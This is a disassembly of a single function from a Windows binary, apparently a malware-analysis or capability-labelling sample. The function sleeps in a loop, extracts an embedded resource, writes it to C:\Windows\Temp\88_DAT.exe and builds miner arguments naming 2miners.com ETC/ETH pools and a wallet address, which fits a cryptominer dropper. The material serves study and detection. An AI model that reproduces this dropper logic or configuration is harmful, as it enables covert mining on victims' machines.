Function at 0x140004e50
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x140032008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov byte [rbp + 7], 0
xor eax, eax
mov qword [rbp + 0xf], rax
xor edx, edx
lea rcx, [rbp + 0xf]
call fcn.1400067f0
mov byte [rbp + 7], 5
xor r12d, r12d
mov qword [rbp + 0xf], r12
mov byte [rbp - 0x39], r12b
xor eax, eax
mov qword [rbp - 0x31], rax
xor edx, edx
lea rcx, [rbp - 0x31]
call fcn.1400067f0
mov byte [rbp - 0x39], 5
mov qword [rbp - 0x31], r12
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.140009300
movzx ebx, al
movzx edx, byte [rbp - 0x39]
lea rcx, [rbp - 0x31]
call fcn.1400067f0
nop
test bl, bl
je 0x140004f5c
lea rcx, [rbp - 0x19]
call fcn.140003030
movzx edx, byte [rbp + 7]
movzx ecx, byte [rax]
mov byte [rbp + 7], cl
mov byte [rax], dl
lea rcx, [rax + 8]
mov rdx, qword [rbp + 0xf]
mov r8, qword [rcx]
mov qword [rbp + 0xf], r8
mov qword [rcx], rdx
movzx edx, byte [rax]
call fcn.1400067f0
nop
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp - 0x39], 0
xor eax, eax
mov qword [rbp - 0x31], rax
xor edx, edx
lea rcx, [rbp - 0x31]
call fcn.1400067f0
mov byte [rbp - 0x39], 5
mov qword [rbp - 0x31], r12
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.140009300
movzx ebx, al
movzx edx, byte [rbp - 0x39]
lea rcx, [rbp - 0x31]
call fcn.1400067f0
nop
test bl, bl
jne 0x140004ee2
lea rdx, [rbp + 0x1f]
lea rcx, [rbp + 7]
call fcn.140005870
nop
mov qword [rbp - 0x19], r12
mov qword [rbp - 9], r12
mov qword [rbp - 1], r12
mov rdi, qword [rbp + 0x2f]
lea rsi, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0x10
cmovae rsi, qword [rbp + 0x1f]
cmp rdi, 0x10
jae 0x140004f9c
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x19], xmm0
mov ebx, recv
jmp 0x140005012
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140004ff0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005216
mov rcx, rax
call fcn.14000bc4c
mov rcx, rax
test rax, rax
je 0x14000521c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004fff
test rcx, rcx
je 0x140004ffc
call fcn.14000bc4c
jmp 0x140004fff
mov rax, r12
mov qword [rbp - 0x19], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14000e610
mov qword [rbp - 9], rdi
mov qword [rbp - 1], rbx
lea rcx, [rbp - 0x19]
call fcn.140002e70
mov esi, eax
mov dword [0x140034098], eax
lea r8, [0x14002bbd8]
mov edx, 0x66
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8d, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
call fcn.14000e610
mov dword [rbp + 0x17], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [0x14002bbe0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400050ce
mov rcx, rax
jmp 0x1400050ed
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x17]
mov r8d, r14d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400050f3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x200
call fcn.140014ba8
mov rbx, rax
xor edx, edx
mov r8d, 0x200
mov rcx, rax
call fcn.14000e190
cmp esi, 4
jne 0x140005138
movups xmm0, xmmword [0x140032a40]
movaps xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x140032a50]
movaps xmmword [rbp - 9], xmm1
lea rax, [rbp - 0x19]
lea rdx, str._s___algoETCHASH___poolasia_etc.2miners.com:1010___user_s._s__s
jmp 0x14000515e
cmp esi, 2
jne 0x140005185
movups xmm0, xmmword [0x140032a40]
movaps xmmword [rbp - 0x39], xmm0
movups xmm1, xmmword [0x140032a50]
movaps xmmword [rbp - 0x29], xmm1
lea rax, [rbp - 0x39]
lea rdx, str._s___algoETHASH___poolasia_eth.2miners.com:2020___user_s._s__s
mov qword [rsp + 0x28], rax
lea rax, str.00000018
mov qword [rsp + 0x20], rax
lea r9, str.0x89edb23CB5ceC64a07912eA614E2F68C19Ed03ea
lea r8, str.C:WindowsTemp_88_DAT.exe
mov rcx, rbx
call fcn.140001e20
mov rcx, rbx
call fcn.140002da0
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x1400051c5
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005210
call fcn.14000b8a0
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], recv
mov byte [rbp + 0x1f], 0
movzx edx, byte [rbp + 7]
lea rcx, [rbp + 0xf]
call fcn.1400067f0
nop
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14000b880
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140014b30
nop
call fcn.140002050
int3
call fcn.140014b30
int3